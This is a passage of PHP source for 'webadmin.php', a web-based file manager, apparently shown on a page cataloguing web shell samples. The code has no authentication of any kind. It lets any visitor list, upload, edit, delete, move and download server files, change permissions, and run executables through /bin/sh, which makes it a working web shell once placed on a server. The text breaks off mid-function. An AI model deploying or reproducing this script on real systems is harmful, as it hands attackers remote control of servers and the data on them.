Jump to:
Screenshot
Attributes
Encoding
<?php
/*
* webadmin.php - a simple Web-based file manager
* Copyright (C) 2004-2011 Daniel Wacker [daniel dot wacker at web dot de]
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*
* -------------------------------------------------------------------------
* While using this script, do NOT navigate with your browser's back and
* forward buttons! Always open files in a new browser tab!
* -------------------------------------------------------------------------
*
* This is Version 0.9, revision 12
* =========================================================================
*
* Changes of revision 12
* [bhb at o2 dot pl]
* added Polish translation
* [daniel dot wacker at web dot de]
* switched to UTF-8
* fixed undefined variable
*
* Changes of revision 11
* [daniel dot wacker at web dot de]
* fixed handling if folder isn't readable
*
* Changes of revision 10
* [alex dash smirnov at web.de]
* added Russian translation
* [daniel dot wacker at web dot de]
* added </td> to achieve valid XHTML (thanks to Marc Magos)
* improved delete function
* [ava at asl dot se]
* new list order: folders first
*
* Changes of revision 9
* [daniel dot wacker at web dot de]
* added workaround for directory listing, if lstat() is disabled
* fixed permisson of uploaded files (thanks to Stephan Duffner)
*
* Changes of revision 8
* [okankan at stud dot sdu dot edu dot tr]
* added Turkish translation
* [j at kub dot cz]
* added Czech translation
* [daniel dot wacker at web dot de]
* improved charset handling
*
* Changes of revision 7
* [szuniga at vtr dot net]
* added Spanish translation
* [lars at soelgaard dot net]
* added Danish translation
* [daniel dot wacker at web dot de]
* improved rename dialog
*
* Changes of revision 6
* [nederkoorn at tiscali dot nl]
* added Dutch translation
*
* Changes of revision 5
* [daniel dot wacker at web dot de]
* added language auto select
* fixed symlinks in directory listing
* removed word-wrap in edit textarea
*
* Changes of revision 4
* [daloan at guideo dot fr]
* added French translation
* [anders at wiik dot cc]
* added Swedish translation
*
* Changes of revision 3
* [nzunta at gabriele dash erba dot it]
* improved Italian translation
*
* Changes of revision 2
* [daniel dot wacker at web dot de]
* got images work in some old browsers
* fixed creation of directories
* fixed files deletion
* improved path handling
* added missing word 'not_created'
* [till at tuxen dot de]
* improved human readability of file sizes
* [nzunta at gabriele dash erba dot it]
* added Italian translation
*
* Changes of revision 1
* [daniel dot wacker at web dot de]
* webadmin.php completely rewritten:
* - clean XHTML/CSS output
* - several files selectable
* - support for windows servers
* - no more treeview, because
* - webadmin.php is a >simple< file manager
* - performance problems (too much additional code)
* - I don't like: frames, java-script, to reload after every treeview-click
* - execution of shell scripts
* - introduced revision numbers
*
/* ------------------------------------------------------------------------- */
/* Your language:
* 'en' - English
* 'de' - German
* 'fr' - French
* 'it' - Italian
* 'nl' - Dutch
* 'se' - Swedish
* 'sp' - Spanish
* 'dk' - Danish
* 'tr' - Turkish
* 'cs' - Czech
* 'ru' - Russian
* 'pl' - Polish
* 'auto' - autoselect
*/
$lang = 'auto';
/* Homedir:
* For example: './' - the script's directory
*/
$homedir = './';
/* Size of the edit textarea
*/
$editcols = 80;
$editrows = 25;
/* -------------------------------------------
* Optional configuration (remove # to enable)
*/
/* Permission of created directories:
* For example: 0705 would be 'drwx---r-x'.
*/
# $dirpermission = 0705;
/* Permission of created files:
* For example: 0604 would be '-rw----r--'.
*/
# $filepermission = 0604;
/* Filenames related to the apache web server:
*/
$htaccess = '.htaccess';
$htpasswd = '.htpasswd';
/* ------------------------------------------------------------------------- */
if (get_magic_quotes_gpc()) {
array_walk($_GET, 'strip');
array_walk($_POST, 'strip');
array_walk($_REQUEST, 'strip');
}
if (array_key_exists('image', $_GET)) {
header('Content-Type: image/gif');
die(getimage($_GET['image']));
}
if (!function_exists('lstat')) {
function lstat($filename)
{
return stat($filename);
}
}
$delim = DIRECTORY_SEPARATOR;
if (function_exists('php_uname')) {
$win = false;
} else {
$win = false;
}
if (!empty($_SERVER['PATH_TRANSLATED'])) {
$scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
$scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
} elseif (function_exists('getcwd')) {
$scriptdir = getcwd();
} else {
$scriptdir = '.';
}
$homedir = relative2absolute($homedir, $scriptdir);
$dir = array_key_exists('dir', $_REQUEST) ? $_REQUEST['dir'] : $homedir;
if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
$dir = relative2absolute($dir, $_POST['olddir']);
}
$directory = simplify_path(addslash($dir));
$files = array();
$action = '';
if (!empty($_POST['submit_all'])) {
$action = $_POST['action_all'];
for ($i = 0; $i < $_POST['num']; $i++) {
if (array_key_exists("checked{$i}", $_POST) && $_POST["checked{$i}"] == 'true') {
$files[] = $_POST["file{$i}"];
}
}
} elseif (!empty($_REQUEST['action'])) {
$action = $_REQUEST['action'];
$files[] = relative2absolute($_REQUEST['file'], $directory);
} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
$files[] = $_FILES['upload'];
$action = 'upload';
} elseif (array_key_exists('num', $_POST)) {
for ($i = 0; $i < $_POST['num']; $i++) {
if (array_key_exists("submit{$i}", $_POST)) {
break;
}
}
if ($i < $_POST['num']) {
$action = $_POST["action{$i}"];
$files[] = $_POST["file{$i}"];
}
}
if (empty($action) && (!empty($_POST['submit_create']) || array_key_exists('focus', $_POST) && $_POST['focus'] == 'create') && !empty($_POST['create_name'])) {
$files[] = relative2absolute($_POST['create_name'], $directory);
switch ($_POST['create_type']) {
case 'directory':
$action = 'create_directory';
break;
case 'file':
$action = 'create_file';
}
}
if (sizeof($files) == 0) {
$action = '';
} else {
$file = reset($files);
}
if ($lang == 'auto') {
if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
$lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
} else {
$lang = 'en';
}
}
$words = getwords($lang);
if ($site_charset == 'auto') {
$site_charset = $word_charset;
}
$cols = $win ? 4 : 7;
if (!isset($dirpermission)) {
$dirpermission = function_exists('umask') ? 0777 & ~umask() : 0755;
}
if (!isset($filepermission)) {
$filepermission = function_exists('umask') ? 0666 & ~umask() : 0644;
}
if (!empty($_SERVER['SCRIPT_NAME'])) {
$self = html(basename($_SERVER['SCRIPT_NAME']));
} elseif (!empty($_SERVER['PHP_SELF'])) {
$self = html(basename($_SERVER['PHP_SELF']));
} else {
$self = '';
}
if (!empty($_SERVER['SERVER_SOFTWARE'])) {
if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
$apache = true;
} else {
$apache = false;
}
} else {
$apache = true;
}
switch ($action) {
case 'view':
if (is_script($file)) {
/* highlight_file is a mess! */
ob_start();
highlight_file($file);
$src = ereg_replace('<font color="([^"]*)">', '<span style="color: \\1">', ob_get_contents());
$src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
ob_end_clean();
html_header();
echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>
<hr />
<table>
<tr>
<td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
<pre style="margin-top: 0"><code>';
for ($i = 1; $i <= sizeof(file($file)); $i++) {
echo "{$i}\n";
}
echo '</code></pre>
</td>
<td style="text-align: left; vertical-align: top; padding-left: 3pt">
<pre style="margin-top: 0">' . $src . '</pre>
</td>
</tr>
</table>
';
html_footer();
} else {
header('Content-Type: ' . getmimetype($file));
header('Content-Disposition: filename=' . basename($file));
readfile($file);
}
break;
case 'download':
header('Pragma: public');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Content-Type: ' . getmimetype($file));
header('Content-Disposition: attachment; filename=' . basename($file) . ';');
header('Content-Length: ' . filesize($file));
readfile($file);
break;
case 'upload':
$dest = relative2absolute($file['name'], $directory);
if (@file_exists($dest)) {
listing_page(error('already_exists', $dest));
} elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
@chmod($dest, $filepermission);
listing_page(notice('uploaded', $file['name']));
} else {
listing_page(error('not_uploaded', $file['name']));
}
break;
case 'create_directory':
if (@file_exists($file)) {
listing_page(error('already_exists', $file));
} else {
$old = @umask(0777 & ~$dirpermission);
if (@mkdir($file, $dirpermission)) {
listing_page(notice('created', $file));
} else {
listing_page(error('not_created', $file));
}
@umask($old);
}
break;
case 'create_file':
if (@file_exists($file)) {
listing_page(error('already_exists', $file));
} else {
$old = @umask(0777 & ~$filepermission);
if (@touch($file)) {
edit($file);
} else {
listing_page(error('not_created', $file));
}
@umask($old);
}
break;
case 'execute':
chdir(dirname($file));
$output = array();
$retval = 0;
exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
$error = false;
if (sizeof($output) == 0) {
$output = array('<' . $words['no_output'] . '>');
}
if ($error) {
listing_page(error('not_executed', $file, implode("\n", $output)));
} else {
listing_page(notice('executed', $file, implode("\n", $output)));
}
break;
case 'delete':
if (!empty($_POST['no'])) {
listing_page();
} elseif (!empty($_POST['yes'])) {
$failure = array();
$success = array();
foreach ($files as $file) {
if (del($file)) {
$success[] = $file;
} else {
$failure[] = $file;
}
}
$message = '';
if (sizeof($failure) > 0) {
$message = error('not_deleted', implode("\n", $failure));
}
if (sizeof($success) > 0) {
$message .= notice('deleted', implode("\n", $success));
}
listing_page($message);
} else {
html_header();
echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
';
request_dump();
echo "\t<b>" . word('really_delete') . '</b>
<p>
';
foreach ($files as $file) {
echo "\t" . html($file) . "<br />\n";
}
echo ' </p>
<hr />
<input type="submit" name="no" value="' . word('no') . '" id="red_button" />
<input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
</td>
</tr>
</table>
</form>
';
html_footer();
}
break;
case 'rename':
if (!empty($_POST['destination'])) {
$dest = relative2absolute($_POST['destination'], $directory);
if (!@file_exists($dest) && @rename($file, $dest)) {
listing_page(notice('renamed', $file, $dest));
} else {
listing_page(error('not_renamed', $file, $dest));
}
} else {
$name = basename($file);
html_header();
echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
<input type="hidden" name="action" value="rename" />
<input type="hidden" name="file" value="' . html($file) . '" />
<input type="hidden" name="dir" value="' . html($directory) . '" />
<b>' . word('rename_file') . '</b>
<p>' . html($file) . '</p>
<b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
<input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
<hr />
<input type="submit" value="' . word('rename') . '" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
break;
case 'move':
if (!empty($_POST['destination'])) {
$dest = relative2absolute($_POST['destination'], $directory);
$failure = array();
$success = array();
foreach ($files as $file) {
$filename = substr($file, strlen($directory));
$d = $dest . $filename;
if (!@file_exists($d) && @rename($file, $d)) {
$success[] = $file;
} else {
$failure[] = $file;
}
}
$message = '';
if (sizeof($failure) > 0) {
$message = error('not_moved', implode("\n", $failure), $dest);
}
if (sizeof($success) > 0) {
$message .= notice('moved', implode("\n", $success), $dest);
}
listing_page($message);
} else {
html_header();
echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
';
request_dump();
echo "\t<b>" . word('move_files') . '</b>
<p>
';
foreach ($files as $file) {
echo "\t" . html($file) . "<br />\n";
}
echo ' </p>
<hr />
' . word('destination') . ':
<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
<input type="submit" value="' . word('move') . '" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
break;
case 'copy':
if (!empty($_POST['destination'])) {
$dest = relative2absolute($_POST['destination'], $directory);
if (@is_dir($dest)) {
$failure = array();
$success = array();
foreach ($files as $file) {
$filename = substr($file, strlen($directory));
$d = addslash($dest) . $filename;
if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
$success[] = $file;
} else {
$failure[] = $file;
}
}
$message = '';
if (sizeof($failure) > 0) {
$message = error('not_copied', implode("\n", $failure), $dest);
}
if (sizeof($success) > 0) {
$message .= notice('copied', implode("\n", $success), $dest);
}
listing_page($message);
} else {
if (!@file_exists($dest) && @copy($file, $dest)) {
listing_page(notice('copied', $file, $dest));
} else {
listing_page(error('not_copied', $file, $dest));
}
}
} else {
html_header();
echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
';
request_dump();
echo "\n<b>" . word('copy_files') . '</b>
<p>
';
foreach ($files as $file) {
echo "\t" . html($file) . "<br />\n";
}
echo ' </p>
<hr />
' . word('destination') . ':
<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
<input type="submit" value="' . word('copy') . '" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
break;
case 'create_symlink':
if (!empty($_POST['destination'])) {
$dest = relative2absolute($_POST['destination'], $directory);
if (substr($dest, -1, 1) == $delim) {
$dest .= basename($file);
}
if (!empty($_POST['relative'])) {
$file = absolute2relative(addslash(dirname($dest)), $file);
}
if (!@file_exists($dest) && @symlink($file, $dest)) {
listing_page(notice('symlinked', $file, $dest));
} else {
listing_page(error('not_symlinked', $file, $dest));
}
} else {
html_header();
echo '<form action="' . $self . '" method="post">
<table class="dialog" id="symlink">
<tr>
<td style="vertical-align: top">' . word('destination') . ': </td>
<td>
<b>' . html($file) . '</b><br />
<input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
<label for="checkbox_relative">' . word('relative') . '</label>
<input type="hidden" name="action" value="create_symlink" />
<input type="hidden" name="file" value="' . html($file) . '" />
<input type="hidden" name="dir" value="' . html($directory) . '" />
</td>
</tr>
<tr>
<td>' . word('symlink') . ': </td>
<td>
<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
<input type="submit" value="' . word('create_symlink') . '" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
break;
case 'edit':
if (!empty($_POST['save'])) {
$content = str_replace("\r\n", "\n", $_POST['content']);
if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
listing_page(notice('saved', $file));
} else {
listing_page(error('not_saved', $file));
}
} else {
if (@is_readable($file) && @is_writable($file)) {
edit($file);
} else {
listing_page(error('not_edited', $file));
}
}
break;
case 'permission':
if (!empty($_POST['set'])) {
$mode = 0;
if (!empty($_POST['ur'])) {
$mode = 256;
}
if (!empty($_POST['uw'])) {
$mode |= 0200;
}
if (!empty($_POST['ux'])) {
$mode |= 0100;
}
if (!empty($_POST['gr'])) {
$mode |= 040;
}
if (!empty($_POST['gw'])) {
$mode |= 020;
}
if (!empty($_POST['gx'])) {
$mode |= 010;
}
if (!empty($_POST['or'])) {
$mode |= 04;
}
if (!empty($_POST['ow'])) {
$mode |= 02;
}
if (!empty($_POST['ox'])) {
$mode |= 01;
}
if (@chmod($file, $mode)) {
listing_page(notice('permission_set', $file, decoct($mode)));
} else {
listing_page(error('permission_not_set', $file, decoct($mode)));
}
} else {
html_header();
$mode = fileperms($file);
echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
<p style="margin: 0">' . phrase('permission_for', $file) . '</p>
<hr />
<table id="permission">
<tr>
<td></td>
<td style="border-right: 1px solid black">' . word('owner') . '</td>
<td style="border-right: 1px solid black">' . word('group') . '</td>
<td>' . word('other') . '</td>
</tr>
<tr>
<td style="text-align: right">' . word('read') . ':</td>
<td><input type="checkbox" name="ur" value="1"';
if ($mode & 0400) {
echo " checked=\"checked\"";
}
echo " /></td>\n\t\t<td><input type=\"checkbox\" name=\"gr\" value=\"1\"";
if ($mode & 040) {
echo " checked=\"checked\"";
}
echo " /></td>\n\t\t<td><input type=\"checkbox\" name=\"or\" value=\"1\"";
if ($mode & 04) {
echo " checked=\"checked\"";
}
echo ' /></td>
</tr>
<tr>
<td style="text-align: right">' . word('write') . ':</td>
<td><input type="checkbox" name="uw" value="1"';
if ($mode & 0200) {
echo " checked=\"checked\"";
}
echo " /></td>\n\t\t<td><input type=\"checkbox\" name=\"gw\" value=\"1\"";
if ($mode & 020) {
echo " checked=\"checked\"";
}
echo " /></td>\n\t\t<td><input type=\"checkbox\" name=\"ow\" value=\"1\"";
if ($mode & 02) {
echo " checked=\"checked\"";
}
echo ' /></td>
</tr>
<tr>
<td style="text-align: right">' . word('execute') . ':</td>
<td><input type="checkbox" name="ux" value="1"';
if ($mode & 0100) {
echo " checked=\"checked\"";
}
echo " /></td>\n\t\t<td><input type=\"checkbox\" name=\"gx\" value=\"1\"";
if ($mode & 010) {
echo " checked=\"checked\"";
}
echo " /></td>\n\t\t<td><input type=\"checkbox\" name=\"ox\" value=\"1\"";
if ($mode & 01) {
echo " checked=\"checked\"";
}
echo ' /></td>
</tr>
</table>
<hr />
<input type="submit" name="set" value="' . word('set') . '" />
<input type="hidden" name="action" value="permission" />
<input type="hidden" name="file" value="' . html($file) . '" />
<input type="hidden" name="dir" value="' . html($directory) . '" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
break;
default:
listing_page();
}
/* ------------------------------------------------------------------------- */
function getlist($directory)
{
global $delim, $win;
if ($d = @opendir($directory)) {
while (($filename = @readdir($d)) !== false) {
$path = $directory . $filename;
if ($stat = @lstat($path)) {
$file = array('filename' => $filename, 'path' => $path, 'is_file' => @is_file($path), 'is_dir' => @is_dir($path), 'is_link' => @is_link($path), 'is_readable' => @is_readable($path), 'is_writable' => @is_writable($path), 'size' => $stat['size'], 'permission' => $stat['mode'], 'owner' => $stat['uid'], 'group' => $stat['gid'], 'mtime' => @filemtime($path), 'atime' => @fileatime($path), 'ctime' => @filectime($path));
if ($file['is_dir']) {
$file['is_executable'] = @file_exists($path . $delim . '.');
} else {
if (!$win) {
$file['is_executable'] = @is_executable($path);
} else {
$file['is_executable'] = true;
}
}
if ($file['is_link']) {
$file['target'] = @readlink($path);
}
if (function_exists('posix_getpwuid')) {
$file['owner_name'] = @reset(posix_getpwuid($file['owner']));
}
if (function_exists('posix_getgrgid')) {
$file['group_name'] = @reset(posix_getgrgid($file['group']));
}
$files[] = $file;
}
}
return $files;
} else {
return false;
}
}
function sortlist($list, $key, $reverse)
{
$dirs = array();
$files = array();
for ($i = 0; $i < sizeof($list); $i++) {
if ($list[$i]['is_dir']) {
$dirs[] = $list[$i];
} else {
$files[] = $list[$i];
}
}
quicksort($dirs, 0, sizeof($dirs) - 1, $key);
if ($reverse) {
$dirs = array_reverse($dirs);
}
quicksort($files, 0, sizeof($files) - 1, $key);
if ($reverse) {
$files = array_reverse($files);
}
return array_merge($dirs, $files);
}
function quicksort(&$array, $first, $last, $key)
{
if ($first < $last) {
$cmp = $array[floor(($first + $last) / 2)][$key];
$l = $first;
$r = $last;
while ($l <= $r) {
while ($array[$l][$key] < $cmp) {
$l++;
}
while ($array[$r][$key] > $cmp) {
$r--;
}
if ($l <= $r) {
$tmp = $array[$l];
$array[$l] = $array[$r];
$array[$r] = $tmp;
$l++;
$r--;
}
}
quicksort($array, $first, $r, $key);
quicksort($array, $l, $last, $key);
}
}
function permission_octal2string($mode)
{
if (($mode & 0xc000) === 0xc000) {
$type = 's';
} elseif (($mode & 0xa000) === 0xa000) {
$type = 'l';
} elseif (($mode & 0x8000) === 0x8000) {
$type = '-';
} elseif (($mode & 0x6000) === 0x6000) {
$type = 'b';
} elseif (($mode & 0x4000) === 0x4000) {
$type = 'd';
} elseif (($mode & 0x2000) === 0x2000) {
$type = 'c';
} elseif (($mode & 0x1000) === 0x1000) {
$type = 'p';
} else {
$type = '?';
}
$owner = $mode & 0400 ? 'r' : '-';
$owner .= $mode & 0200 ? 'w' : '-';
if ($mode & 0x800) {
$owner .= $mode & 0100 ? 's' : 'S';
} else {
$owner .= $mode & 0100 ? 'x' : '-';
}
$group = $mode & 040 ? 'r' : '-';
$group .= $mode & 020 ? 'w' : '-';
if ($mode & 0x400) {
$group .= $mode & 010 ? 's' : 'S';
} else {
$group .= $mode & 010 ? 'x' : '-';
}
$other = $mode & 04 ? 'r' : '-';
$other .= $mode & 02 ? 'w' : '-';
if ($mode & 0x200) {
$other .= $mode & 01 ? 't' : 'T';
} else {
$other .= $mode & 01 ? 'x' : '-';
}
return $type . $owner . $group . $other;
}
function is_script($filename)
{
return ereg('\\.php$|\\.php3$|\\.php4$|\\.php5$', $filename);
}
function getmimetype($filename)
{
static $mimes = array('\\.jpg$|\\.jpeg$' => 'image/jpeg', '\\.gif$' => 'image/gif', '\\.png$' => 'image/png', '\\.html$|\\.html$' => 'text/html', '\\.txt$|\\.asc$' => 'text/plain', '\\.xml$|\\.xsl$' => 'application/xml', '\\.pdf$' => 'application/pdf');
foreach ($mimes as $regex => $mime) {
if (eregi($regex, $filename)) {
return $mime;
}
}
return "text/plain";
}
function del($file)
{
global $delim;
if (!file_exists($file)) {
return false;
}
if (@is_dir($file) && !@is_link($file)) {
$success = false;
if (@rmdir($file)) {
$success = true;
} elseif ($dir = @opendir($file)) {
$success = true;
while (($f = readdir($dir)) !== false) {
if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
$success = false;
}
}
closedir($dir);
if ($success) {
$success = @rmdir($file);
}
}
return $success;
}
return @unlink($file);
}
function addslash($directory)
{
global $delim;
if (substr($directory, -1, 1) != $delim) {
return $directory . $delim;
} else {
return $directory;
}
}
function relative2absolute($string, $directory)
{
if (path_is_relative($string)) {
return simplify_path(addslash($directory) . $string);
} else {
return simplify_path($string);
}
}
function path_is_relative($path)
{
global $win;
if ($win) {
return substr($path, 1, 1) != ':';
} else {
return substr($path, 0, 1) != '/';
}
}
function absolute2relative($directory, $target)
{
global $delim;
$path = '';
while ($directory != $target) {
if ($directory == substr($target, 0, strlen($directory))) {
$path .= substr($target, strlen($directory));
break;
} else {
$path .= '..' . $delim;
$directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
}
}
if ($path == '') {
$path = '.';
}
return $path;
}
function simplify_path($path)
{
global $delim;
if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
$path = realpath($path);
if (@is_dir($path)) {
return addslash($path);
} else {
return $path;
}
}
$pattern = $delim . '.' . $delim;
if (@is_dir($path)) {
$path = addslash($path);
}
while (strpos($path, $pattern) !== false) {
$path = str_replace($pattern, $delim, $path);
}
$e = addslashes($delim);
$regex = $e . '((\\.[^\\.' . $e . '][^' . $e . ']*)|(\\.\\.[^' . $e . ']+)|([^\\.][^' . $e . ']*))' . $e . '\\.\\.' . $e;
while (ereg($regex, $path)) {
$path = ereg_replace($regex, $delim, $path);
}
return $path;
}
function human_filesize($filesize)
{
$suffices = 'kMGTPE';
$n = 0;
while ($filesize >= 1000) {
$filesize /= 1024;
$n++;
}
$filesize = round($filesize, 3 - strpos($filesize, '.'));
if (strpos($filesize, '.') !== false) {
while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
$filesize = substr($filesize, 0, strlen($filesize) - 1);
}
}
$suffix = $n == 0 ? '' : substr($suffices, $n - 1, 1);
return $filesize . " {$suffix}B";
}
function strip(&$str)
{
$str = stripslashes($str);
}
/* ------------------------------------------------------------------------- */
function listing_page($message = null)
{
global $self, $directory, $sort, $reverse;
html_header();
$list = getlist($directory);
if (array_key_exists('sort', $_GET)) {
$sort = $_GET['sort'];
} else {
$sort = 'filename';
}
if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') {
$reverse = true;
} else {
$reverse = false;
}
echo '<h1 style="margin-bottom: 0">webadmin.php</h1>
<form enctype="multipart/form-data" action="' . $self . '" method="post">
<table id="main">
';
directory_choice();
if (!empty($message)) {
spacer();
echo $message;
}
if (@is_writable($directory)) {
upload_box();
create_box();
} else {
spacer();
}
if ($list) {
$list = sortlist($list, $sort, $reverse);
listing($list);
} else {
echo error('not_readable', $directory);
}
echo "</table>\n\n</form>\n\n";
html_footer();
}
function listing($list)
{
global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
echo '<tr class="listing">
<th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
';
column_title('filename', $sort, $reverse);
column_title('size', $sort, $reverse);
if (!$win) {
column_title('permission', $sort, $reverse);
column_title('owner', $sort, $reverse);
column_title('group', $sort, $reverse);
}
echo ' <th class="functions">' . word('functions') . '</th>
</tr>
';
for ($i = 0; $i < sizeof($list); $i++) {
$file = $list[$i];
$timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
$timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
$timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
echo '<tr class="listing">
<td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
<td class="filename" title="' . html($timestamps) . '">';
if ($file['is_link']) {
echo '<img src="' . $self . '?image=link" alt="link" /> ';
echo html($file['filename']) . ' → ';
$real_file = relative2absolute($file['target'], $directory);
if (@is_readable($real_file)) {
if (@is_dir($real_file)) {
echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
} else {
echo '<a href="' . $self . '?action=view&file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
}
} else {
echo html($file['target']);
}
} elseif ($file['is_dir']) {
echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
if ($win || $file['is_executable']) {
echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
} else {
echo html($file['filename']);
}
echo " ]";
} else {
if (substr($file['filename'], 0, 1) == '.') {
echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
} else {
echo '<img src="' . $self . '?image=file" alt="file" /> ';
}
if ($file['is_file'] && $file['is_readable']) {
echo '<a href="' . $self . '?action=view&file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
} else {
echo html($file['filename']);
}
}
if ($file['size'] >= 1000) {
$human = ' title="' . human_filesize($file['size']) . '"';
} else {
$human = '';
}
echo "</td>\n";
echo "\t<td class=\"size\"{$human}>{$file['size']} B</td>\n";
if (!$win) {
echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
$l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
if ($l) {
echo '<a href="' . $self . '?action=permission&file=' . urlencode($file['path']) . '&dir=' . urlencode($directory) . '">';
}
echo html(permission_octal2string($file['permission']));
if ($l) {
echo "</a>";
}
echo "</td>\n";
if (array_key_exists('owner_name', $file)) {
echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
} else {
echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
}
if (array_key_exists('group_name', $file)) {
echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
} else {
echo "\t<td class=\"group\">{$file['group']}</td>\n";
}
}
echo ' <td class="functions">
<input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
';
$actions = array();
if (function_exists('symlink')) {
$actions[] = 'create_symlink';
}
if (@is_writable(dirname($file['path']))) {
$actions[] = 'delete';
$actions[] = 'rename';
$actions[] = 'move';
}
if ($file['is_file'] && $file['is_readable']) {
$actions[] = 'copy';
$actions[] = 'download';
if ($file['is_writable']) {
$actions[] = 'edit';
}
}
if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
$actions[] = 'execute';
}
if (sizeof($actions) > 0) {
echo ' <select class="small" name="action' . $i . '" size="1">
<option value="">' . str_repeat(' ', 30) . '</option>
';
foreach ($actions as $action) {
echo "\t\t<option value=\"{$action}\">" . word($action) . "</option>\n";
}
echo ' </select>
<input class="small" type="submit" name="submit' . $i . '" value=" > " onfocus="activate(\'other\')" />
';
}
echo "\t</td>\n</tr>\n";
}
echo '<tr class="listing_footer">
<td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt=">" /></td>
<td colspan="' . ($cols - 1) . '">
<input type="hidden" name="num" value="' . sizeof($list) . '" />
<input type="hidden" name="focus" value="" />
<input type="hidden" name="olddir" value="' . html($directory) . '" />
';
$actions = array();
if (@is_writable(dirname($file['path']))) {
$actions[] = 'delete';
$actions[] = 'move';
}
$actions[] = 'copy';
echo ' <select class="small" name="action_all" size="1">
<option value="">' . str_repeat(' ', 30) . '</option>
';
foreach ($actions as $action) {
echo "\t\t<option value=\"{$action}\">" . word($action) . "</option>\n";
}
echo "\t\t</select>\n\t\t<input class=\"small\" type=\"submit\" name=\"submit_all\" value=\" > \" onfocus=\"activate('other')\" />\n\t</td>\n</tr>\n";
}
function column_title($column, $sort, $reverse)
{
global $self, $directory;
$d = 'dir=' . urlencode($directory) . '&';
$arr = '';
if ($sort == $column) {
if (!$reverse) {
$r = '&reverse=true';
$arr = ' ∧';
} else {
$arr = ' ∨';
}
} else {
$r = '';
}
echo "\t<th class=\"{$column}\"><a href=\"{$self}?{$d}sort={$column}{$r}\">" . word($column) . "</a>{$arr}</th>\n";
}
function directory_choice()
{
